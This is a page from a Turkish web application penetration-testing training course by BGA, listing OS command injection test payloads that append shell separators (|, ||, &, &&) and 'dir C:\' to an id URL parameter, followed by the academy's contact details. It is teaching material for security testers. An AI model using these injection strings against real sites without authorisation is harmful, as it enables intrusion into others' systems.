OS Commanding - Test Teknikleri

?id=| dir C:\

?id=|| dir C:\

?id= & dir C:\

?id= && dir C:\

Page 102: Web Uygulama Pentest Eğitimi

Web Uygulama Pentest Eğitimi © 2014 |Bilgi Güvenliği AKADEMİSİ | www.bga.com.tr

BGA İletişim

twitter.com/bgasecurity

facebook.com/BGAkademisi

www.bga.com.tr

blog.bga.com.tr

[email protected]

[email protected]